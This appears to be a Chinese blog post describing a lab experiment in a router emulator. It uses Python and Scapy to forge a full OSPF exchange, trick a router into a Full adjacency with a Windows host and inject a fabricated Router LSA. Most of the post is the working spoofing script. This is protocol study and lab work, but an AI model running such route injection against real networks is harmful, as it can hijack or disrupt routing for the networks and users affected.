使用Scapy构造OSPF交互报文欺骗网络设备与主机建立Full关系

发布于:2025-07-07 ⋅ 阅读:(18) ⋅ 点赞:(0)

目录

实验环境:

网络设备端:

网络仿真模拟器:H3C Cloud LAB

要点:

主机端:

操作系统:Windows11

网卡:VirtualBox Host-Only Network

编程语言:Python

要点:

网络设备端命令实现:

主机端源代码:

效果:​编辑

实验环境:

网络设备端:

网络仿真模拟器:H3C Cloud LAB

要点:

路由器需要宣告与主机端的直连网段

主机端:

操作系统:Windows11

网卡:VirtualBox Host-Only Network

编程语言:Python

要点:

确保流量别被网络防火墙拦了

在网络防火墙的出站规则上拦截Type3_Code2的ICMP包,因为Windows底层不支持OSPF,因此当收到网络设备发来的OSPF报文时,会自动回复协议不可达的ICMP报文,会影响实现结果(影响Sniif嗅探效果)

网络设备端命令实现:

<H3C>sys
[H3C]
[H3C]hostname R1
[R1]
[R1]int g0/0
[R1-GigabitEthernet0/0]ip address 192.168.56.250 24
[R1-GigabitEthernet0/0]int lo0
[R1-LoopBack0]ip address 1.1.1.1 32
[R1-LoopBack0]ospf 1 router-id 1.1.1.1
[R1-ospf-1]
[R1-ospf-1]area 0
[R1-ospf-1-area-0.0.0.0]network 1.1.1.1 0.0.0.0
[R1-ospf-1-area-0.0.0.0]network 192.168.56.250 0.0.0.0
[R1-ospf-1-area-0.0.0.0]quit
[R1-ospf-1]

主机端源代码:

from scapy.contrib.ospf import OSPF_Hdr,OSPF_Hello,OSPF_DBDesc,OSPF_LSUpd,OSPF_Router_LSA,OSPF_Link,OSPF_LSAck,OSPF_LSA_Hdr,OSPF_LSReq,OSPF_LSReq_Item
from scapy.layers.inet import IP
from scapy.all import send,ScopedIP,sniff
from threading import Thread


iface_name = 'VirtualBox Host-Only Network'

def ospf_hello(iface):
    ip_header = IP(dst =ScopedIP("224.0.0.5", scope=iface_name),src='192.168.56.1',ttl=1,proto=89)#需要用ScopedIP来指定组播报文出接口,否则无法发包
    ospf_header = OSPF_Hdr(version=2,src='10.10.10.10',area='0.0.0.0',type=1)
    ospf_hello = OSPF_Hello(mask='255.255.255.0',hellointerval=10,router='192.168.56.1',backup='0.0.0.0',neighbors=['1.1.1.1'],options=0x02)
    pkt = ip_header / ospf_header / ospf_hello #构造完整的包
    send(pkt)

globals_seq =  0

def ospf_db_start(pkt): #用于第一次DBD交互的DBD包,即DBD主从协商
    global globals_seq
    dip = pkt[IP].src
    sip = pkt[IP].dst
    globals_seq = pkt[OSPF_DBDesc].ddseq
    db_start_mtu = pkt[OSPF_DBDesc].mtu
    ip_header = IP(dst=dip,src=sip,proto=89,ttl=1)
    ospf_header = OSPF_Hdr(version=2,type=2,src='10.10.10.10',area='0.0.0.0')
    ospf_db = OSPF_DBDesc(options=0x42,dbdescr=0x07,ddseq=globals_seq,mtu=db_start_mtu) #0x07表示 More、Master、Init同时置位
    pkt = ip_header / ospf_header / ospf_db
    send(pkt)
    globals_seq += 1 #因为每次DBD交互需要顺序递增seq

def ospf_LSA_Request(pkt):
    dip = pkt[IP].src
    sip = pkt[IP].dst
    ip_header = IP(dst=dip,src=sip,proto=89,ttl=1)
    ospf_header = OSPF_Hdr(version=2, type=3, src='10.10.10.10', area='0.0.0.0')
    ospf_request_LSAs = OSPF_LSReq_Item(type=1,id='1.1.1.1',adrouter='1.1.1.1')
    ospf_request = OSPF_LSReq(requests=[ospf_request_LSAs])
    pkt = ip_header / ospf_header / ospf_request
    send(pkt)

def ospf_db_change(pkt): #用于与对端交换DBD摘要信息的DBD包
    global globals_seq
    dip = pkt[IP].src
    sip = pkt[IP].dst
    db_start_mtu = pkt[OSPF_DBDesc].mtu
    db_change_len = pkt[OSPF_LSA_Hdr].len
    ip_header = IP(dst=dip,src=sip,proto=89,ttl=1)
    ospf_header = OSPF_Hdr(version=2,type=2,src='10.10.10.10',area='0.0.0.0')
    ospf_lsa_header_1 = OSPF_LSA_Hdr(type=1,id='10.10.10.10',adrouter='10.10.10.10',len=db_change_len)
    ospf_db = OSPF_DBDesc(options=0x42,dbdescr=0x01,ddseq=globals_seq,lsaheaders=[ospf_lsa_header_1],mtu=db_start_mtu) #0x01表示仅Master置位,More没置位表示这是最后一个DBD包
    pkt = ip_header / ospf_header / ospf_db
    send(pkt)
    globals_seq += 1

def ospf_change(pkt):
    #想实现同时发包的效果,因为实现的报文交互顺序老是
    #我的Request
    #对端的Update
    #我的DBD摘要报文
    #我想实现的是
    # 我的Request
    # 我的DBD摘要报文
    # 对端的Update
    #不过好像没成功
    t1 = Thread(target=ospf_LSA_Request, args=(pkt,))
    t2 = Thread(target=ospf_db_change, args=(pkt,))
    t1.start()
    t2.start()
def ospf_ls_update(pkt):
    dip = pkt[IP].src
    sip = pkt[IP].dst
    link1 = OSPF_Link(id='192.168.56.0',data='255.255.255.0',metric=1,type=3)
    link2 = OSPF_Link(id='10.10.10.10', data='255.255.255.255', metric=0, type=3)
    #这两个link是Router_lsa里包含的链路信息
    ip_header = IP(dst=dip, src=sip, ttl=1, proto=89)
    ospf_header = OSPF_Hdr(version=2, type=4, src='10.10.10.10', area='0.0.0.0')
    lsa_route = OSPF_Router_LSA(id='10.10.10.10',adrouter='10.10.10.10',linklist=[link1,link2])
    ospf_lsu = OSPF_LSUpd(lsalist=[lsa_route])
    pkt = ip_header / ospf_header / ospf_lsu
    send(pkt)


def ospf_ls_ack(pkt):
    dip = pkt[IP].src
    sip = pkt[IP].dst
    lsa_seq = pkt[OSPF_Router_LSA].seq
    lsa_length = pkt[OSPF_Router_LSA].len
    lsa_checksum = pkt[OSPF_Router_LSA].chksum
    ip_header = IP(dst=dip,src=sip,ttl=1,proto=89)
    ospf_header = OSPF_Hdr(version=2,type=5,src='10.10.10.10',area='0.0.0.0')
    #LSACK报文里的lsa报头要包含所对应的那个ls_update报文中的lsa,并且校验和、length、seq都要一致
    ospf_route_lsa_header = OSPF_LSA_Hdr(type=1,id='1.1.1.1',adrouter='1.1.1.1',seq=lsa_seq,len=lsa_length,chksum=lsa_checksum)
    ospf_lsa_ack = OSPF_LSAck(lsaheaders=[ospf_route_lsa_header])
    pkt = ip_header / ospf_header / ospf_lsa_ack
    send (pkt)


def ospf_ls_update_is(pkt):
    return pkt.haslayer(OSPF_Hdr) and pkt[OSPF_Hdr].type == 4 and pkt[IP].src !='192.168.56.1'

def ospf_db_is(pkt):
    return pkt.haslayer(OSPF_Hdr) and (pkt[OSPF_Hdr].type == 2 or pkt[OSPF_Hdr].type == 1) and pkt[IP].src != '192.168.56.1'
def ospf_lsAck_is(pkt):
    return pkt.haslayer(OSPF_Hdr) and (pkt[OSPF_Hdr].type == 4 or pkt[OSPF_Hdr].type == 5) and pkt[IP].src != '192.168.56.1'

def ospf_lsa_Request_is(pkt):
    return pkt.haslayer(OSPF_Hdr) and pkt[OSPF_Hdr].type == 3 and pkt[IP].src != '192.168.56.1'


ospf_hello(iface_name)

#lfilter表示调用过滤函数,根据返回值(True或False)来确定是否调用Prn函数
#filter是sniff原生的过滤规则
#prn是指定回调函数
#iface是指定抓包出接口
#count是表示抓到几个包停止
sniff(filter='proto 89',iface=iface_name,lfilter=ospf_db_is,prn=ospf_db_start,store=False,count=1)


sniff(filter='proto 89',iface=iface_name,lfilter=ospf_db_is,prn=ospf_change,store=False,count=1)

sniff(filter='proto 89',iface=iface_name,lfilter=ospf_lsa_Request_is,prn=ospf_ls_update,store=False,count=1)

sniff(filter='proto 89',iface=iface_name,lfilter=ospf_lsAck_is,prn=ospf_ls_ack,store=False,count=1)





效果:

可以看到,成功欺骗路由器与主机建立Full关系

这是OSPF报文交互过程